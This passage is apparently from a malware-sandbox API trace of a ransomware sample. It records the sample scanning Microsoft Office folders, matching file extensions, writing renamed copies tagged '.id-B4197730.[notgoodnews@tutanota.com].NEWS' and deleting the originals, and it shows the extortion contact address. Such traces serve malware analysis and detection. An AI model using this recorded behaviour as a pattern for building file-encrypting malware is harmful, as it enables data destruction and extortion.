(lpString1=".jpg", lpString2=".dll") returned 1 [0174.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0174.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0174.363] lstrlenW (lpString=".doc") returned 4 [0174.363] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.363] lstrlenW (lpString=".docx") returned 5 [0174.363] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.363] lstrlenW (lpString=".pdf") returned 4 [0174.363] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.363] lstrlenW (lpString=".xls") returned 4 [0174.363] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.363] lstrlenW (lpString=".xlsx") returned 5 [0174.363] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.363] lstrlenW (lpString=".ppt") returned 4 [0174.363] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0174.363] lstrlenW (lpString=".zip") returned 4 [0174.363] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.363] lstrlenW (lpString=".rar") returned 4 [0174.363] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.363] lstrlenW (lpString=".bz2") returned 4 [0174.363] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.363] lstrlenW (lpString=".7z") returned 3 [0174.364] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0174.364] lstrlenW (lpString=".dbf") returned 4 [0174.364] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0174.364] lstrlenW (lpString=".1cd") returned 4 [0174.364] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0174.364] lstrlenW (lpString=".jpg") returned 4 [0174.364] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.364] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.364] lstrlenW (lpString="msvcp140.dll") returned 12 [0174.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0174.367] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=439608) returned 1 [0174.367] CloseHandle (hObject=0x450) returned 1 [0174.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll")) returned 0x220 [0174.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0174.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0174.367] lstrlenW (lpString=".doc") returned 4 [0174.367] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.367] lstrlenW (lpString=".docx") returned 5 [0174.367] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.367] lstrlenW (lpString=".pdf") returned 4 [0174.367] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.368] lstrlenW (lpString=".xls") returned 4 [0174.368] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.368] lstrlenW (lpString=".xlsx") returned 5 [0174.368] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.368] lstrlenW (lpString=".ppt") returned 4 [0174.368] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0174.368] lstrlenW (lpString=".zip") returned 4 [0174.368] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.368] lstrlenW (lpString=".rar") returned 4 [0174.368] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.368] lstrlenW (lpString=".bz2") returned 4 [0174.368] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.368] lstrlenW (lpString=".7z") returned 3 [0174.368] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0174.368] lstrlenW (lpString=".dbf") returned 4 [0174.368] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.380] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0174.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0174.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0174.388] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0175.024] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=615304) returned 1 [0175.024] CloseHandle (hObject=0x53c) returned 1 [0175.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 0x220 [0175.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0175.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0175.026] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.026] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0175.027] GetLastError () returned 0x0 [0175.028] ReadFile (in: hFile=0x53c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x96388, lpOverlapped=0x0) returned 1 [0175.086] WriteFile (in: hFile=0x548, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x96390, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x96390, lpOverlapped=0x0) returned 1 [0175.097] ReadFile (in: hFile=0x53c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0175.098] WriteFile (in: hFile=0x548, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x10e, lpOverlapped=0x0) returned 1 [0175.098] SetEndOfFile (hFile=0x548) returned 1 [0175.098] CloseHandle (hObject=0x548) returned 1 [0175.098] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.098] SetEndOfFile (hFile=0x53c) returned 1 [0175.795] CloseHandle (hObject=0x53c) returned 1 [0175.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0175.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 1 [0176.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0176.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0176.147] lstrlenW (lpString=".doc") returned 4 [0176.147] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0176.147] lstrlenW (lpString=".docx") returned 5 [0176.147] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0176.147] lstrlenW (lpString=".pdf") returned 4 [0176.147] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0176.147] lstrlenW (lpString=".xls") returned 4 [0176.147] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0176.147] lstrlenW (lpString=".xlsx") returned 5 [0176.147] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0176.147] lstrlenW (lpString=".ppt") returned 4 [0176.147] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0176.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0176.147] lstrlenW (lpString=".zip") returned 4 [0176.147] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0176.147] lstrlenW (lpString=".rar") returned 4 [0176.147] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0176.147] lstrlenW (lpString=".bz2") returned 4 [0176.147] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0176.147] lstrlenW (lpString=".7z") returned 3 [0176.147] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0176.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0176.147] lstrlenW (lpString=".dbf") returned 4 [0176.147] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0176.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0176.147] lstrlenW (lpString=".1cd") returned 4 [0176.147] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0176.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0176.147] lstrlenW (lpString=".jpg") returned 4 [0176.147] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0176.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0176.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0176.147] lstrlenW (lpString=".doc") returned 4 [0176.148] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0176.148] lstrlenW (lpString=".docx") returned 5 [0176.148] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0176.148] lstrlenW (lpString=".pdf") returned 4 [0176.148] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0176.148] lstrlenW (lpString=".xls") returned 4 [0176.148] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0176.148] lstrlenW (lpString=".xlsx") returned 5 [0176.148] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0176.148] lstrlenW (lpString=".ppt") returned 4 [0176.148] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0176.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0176.148] lstrlenW (lpString=".zip") returned 4 [0176.148] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0176.148] lstrlenW (lpString=".rar") returned 4 [0176.148] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0176.148] lstrlenW (lpString=".bz2") returned 4 [0176.148] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0176.148] lstrlenW (lpString=".7z") returned 3 [0176.148] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0176.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0176.148] lstrlenW (lpString=".dbf") returned 4 [0176.148] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0176.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0176.148] lstrlenW (lpString=".1cd") returned 4 [0176.148] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0176.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0176.148] lstrlenW (lpString=".jpg") returned 4 [0176.148] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0176.148] lstrcmpiW (lpString1=".msu", lpString2=".NEWS") returned -1 [0176.148] lstrlenW (lpString="Windows8.1-KB2999226-x86.msu") returned 28 [0176.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0176.456] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=595977) returned 1 [0176.456] CloseHandle (hObject=0x4dc) returned 1 [0176.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 0x220 [0176.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0176.610] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.610] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0176.625] GetLastError () returned 0x0 [0176.625] ReadFile (in: hFile=0x53c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x91809, lpOverlapped=0x0) returned 1 [0176.789] WriteFile (in: hFile=0x474, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x91810, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x91810, lpOverlapped=0x0) returned 1 [0176.799] ReadFile (in: hFile=0x53c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.799] WriteFile (in: hFile=0x474, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x10c, lpOverlapped=0x0) returned 1 [0176.799] SetEndOfFile (hFile=0x474) returned 1 [0176.800] CloseHandle (hObject=0x474) returned 1 [0176.800] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.800] SetEndOfFile (hFile=0x53c) returned 1 [0176.819] CloseHandle (hObject=0x53c) returned 1 [0176.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 1 [0176.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0176.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0176.820] lstrlenW (lpString=".doc") returned 4 [0176.820] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0176.821] lstrlenW (lpString=".docx") returned 5 [0176.821] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0176.821] lstrlenW (lpString=".pdf") returned 4 [0176.821] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0176.821] lstrlenW (lpString=".xls") returned 4 [0176.821] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0176.821] lstrlenW (lpString=".xlsx") returned 5 [0176.821] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0176.821] lstrlenW (lpString=".ppt") returned 4 [0176.821] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0176.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0176.821] lstrlenW (lpString=".zip") returned 4 [0176.821] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0176.821] lstrlenW (lpString=".rar") returned 4 [0176.821] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0176.821] lstrlenW (lpString=".bz2") returned 4 [0176.821] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0176.821] lstrlenW (lpString=".7z") returned 3 [0176.821] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0176.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0176.821] lstrlenW (lpString=".dbf") returned 4 [0176.821] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0176.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0176.821] lstrlenW (lpString=".1cd") returned 4 [0176.821] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0176.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0176.821] lstrlenW (lpString=".jpg") returned 4 [0176.821] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0176.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0176.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0176.821] lstrlenW (lpString=".doc") returned 4 [0176.821] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0176.821] lstrlenW (lpString=".docx") returned 5 [0176.821] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0176.822] lstrlenW (lpString=".pdf") returned 4 [0176.822] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0176.822] lstrlenW (lpString=".xls") returned 4 [0176.822] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0176.822] lstrlenW (lpString=".xlsx") returned 5 [0176.822] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0176.822] lstrlenW (lpString=".ppt") returned 4 [0176.822] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0176.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0176.822] lstrlenW (lpString=".zip") returned 4 [0176.822] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0176.822] lstrlenW (lpString=".rar") returned 4 [0176.822] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0176.822] lstrlenW (lpString=".bz2") returned 4 [0176.822] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0176.822] lstrlenW (lpString=".7z") returned 3 [0176.822] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0176.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0176.822] lstrlenW (lpString=".dbf") returned 4 [0176.822] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0176.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0176.822] lstrlenW (lpString=".1cd") returned 4 [0176.822] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0176.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0176.822] lstrlenW (lpString=".jpg") returned 4 [0176.822] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0176.822] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0176.822] lstrlenW (lpString="AccessR_Retail-ul-phn.xrm-ms") returned 28 [0176.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0177.727] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=19924) returned 1 [0177.727] CloseHandle (hObject=0x550) returned 1 [0177.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 0x220 [0177.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0177.728] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.728] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0177.730] GetLastError () returned 0x0 [0177.730] ReadFile (in: hFile=0x550, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x4dd4, lpOverlapped=0x0) returned 1 [0177.732] WriteFile (in: 